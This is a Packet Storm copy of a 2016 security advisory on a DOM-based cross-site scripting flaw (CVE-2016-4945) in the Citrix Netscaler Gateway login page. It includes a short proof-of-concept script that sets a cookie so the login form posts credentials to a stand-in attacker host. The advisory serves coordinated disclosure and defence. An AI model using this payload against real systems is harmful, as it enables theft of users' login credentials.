what you don't know can hurt you

Citrix Netscaler 11.0 Build 64.35 Cross Site Scripting

Citrix Netscaler 11.0 Build 64.35 Cross Site Scripting
Posted May 27, 2016
Authored by Dr. Daniel Schliebner

The login page of the Citrix Netscaler Gateway web front-end is vulnerable to a DOM-based cross site scripting (XSS) vulnerability due to improper sanitization of the content of the "NSC_TMAC" cookie.

tags | exploit, web, xss
advisories | CVE-2016-4945
MD5 | 7fd954e4ba1557ede715df01dfcc253f

Citrix Netscaler 11.0 Build 64.35 Cross Site Scripting

Change Mirror Download
                     PERSICON Security Advisory
=======================================================================
Title: Login Form Hijacking vulnerability
Product: Citrix Netscaler
Vulnerable Version: 11.0 Build 64.35
Fixed Version: 11.0 Build 66.11
CVE-ID: CVE-2016-4945
Impact: medium
found: 2015-04-07
by: Dr. Daniel Schliebner <dschliebner@persicon.com>
http://www.persicon.com
=======================================================================

Vendor Description:
-------------------
"Citrix (NASDAQ:CTXS) aims to power a world where people, organizations
and things are securely connected and accessible to make the
extraordinary possible. Its technology makes the world's apps and
data secure and easy to access, empowering people to work anywhere
and at any time. Citrix provides a complete and integrated portfolio
of Workspace-as-a-Service, application delivery, virtualization, mobility,
network delivery and file sharing solutions that enables IT to ensure
critical systems are securely available to users via the cloud or
on-premise and across any device or platform. With annual revenue
in 2015 of $3.28 billion, Citrix solutions are in use by more than
400,000 organizations and over 100 million users globally."
(https://www.citrix.com/about.html)


Vulnerability Description:
--------------------------
The login page of the Citrix Netscaler Gateway web frontend is
vulnerable to a DOM-based Cross-Site-Scripting (XSS) vulnerability due
to improper sanitization of the content of the "NSC_TMAC" cookie.

The vulnerability is located in the file

/vpn/js/gateway_login_form_view.js

in which the the cookie's content is - if set - written to the DOM
via JavaScript. This is done in the following excerpt:

var cookie_action = ns_getcookie("NSC_TMAC");
var action_url= '/cgi/login';
if (cookie_action) {
action_url = cookie_action;
UnsetCookie("NSC_TMAC");

This vulnerability can be exploited by an unauthorized remote attacker
by forging the destination address of the login formular in order to
receive login credentials of a victim. This can be achieved by for
example using another XSS vulnerability on the companies web page.


Proof of concept:
-----------------
Assume this vulnerability resides on https://my-foobar-company.com/vpn/.
Assume further, an attacker is able to set a cookie on a victims client
via some other attack vector like, e.g., another XSS vulnerability.

The attacker needs to first (e.g. by XSS) execute the following code
on the client:

<script>
document.cookie='NSC_TMAC=https://attack.ers/receive/;' +
' domain=.my-foobar-company.com';
window.location.href='https://my-foobar-company.com/vpn/'
</script>

As a consequence, the Netscaler Gateway login formular has the url
"https://attack.ers/receive/" as the value in its "action" attribute
and hence a victim will sent its credentials to the attackers
host when submitting the formular.


Vulnerable / tested versions:
-----------------------------
Citrix Netscaler 11.0 Build 65.31
Citrix Netscaler 11.0 Build 64.34


Vendor contact timeline:
------------------------
2016-04-11: Contacting vendor through secure@citrix.com
2015-04-11: Vendor response - issue has now the case ID CASE-6597
and will be forwarded for feedback
2016-04-12: Vendor response - issue will be reviewed
2016-04-25: Vendor response - issue will be fixed
2016-05-24: Vendor response - issue is fixed in the upcoming
release on 26th May
2016-05-26: Vendor response - issue is fixed in the upcoming
release at 5pm PDT on 26th May
2016-05-27: Status update - fix released by vendor
2016-05-27: Coordinated release of the security advisory


Solution:
---------
Remove the use of the cookie content or sanitize its content properly
before writing it to the DOM.


References
----------
[1] http://support.citrix.com/article/CTX213313


URL
---
http://persicon.com/tl_files/advisories/PERSICON-advisory-2016-No-1-citrix.t
xt
Login or Register to add favorites

File Archive:

September 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    20 Files
  • 2
    Sep 2nd
    15 Files
  • 3
    Sep 3rd
    15 Files
  • 4
    Sep 4th
    4 Files
  • 5
    Sep 5th
    1 Files
  • 6
    Sep 6th
    1 Files
  • 7
    Sep 7th
    15 Files
  • 8
    Sep 8th
    27 Files
  • 9
    Sep 9th
    7 Files
  • 10
    Sep 10th
    16 Files
  • 11
    Sep 11th
    9 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    25 Files
  • 15
    Sep 15th
    15 Files
  • 16
    Sep 16th
    15 Files
  • 17
    Sep 17th
    15 Files
  • 18
    Sep 18th
    12 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close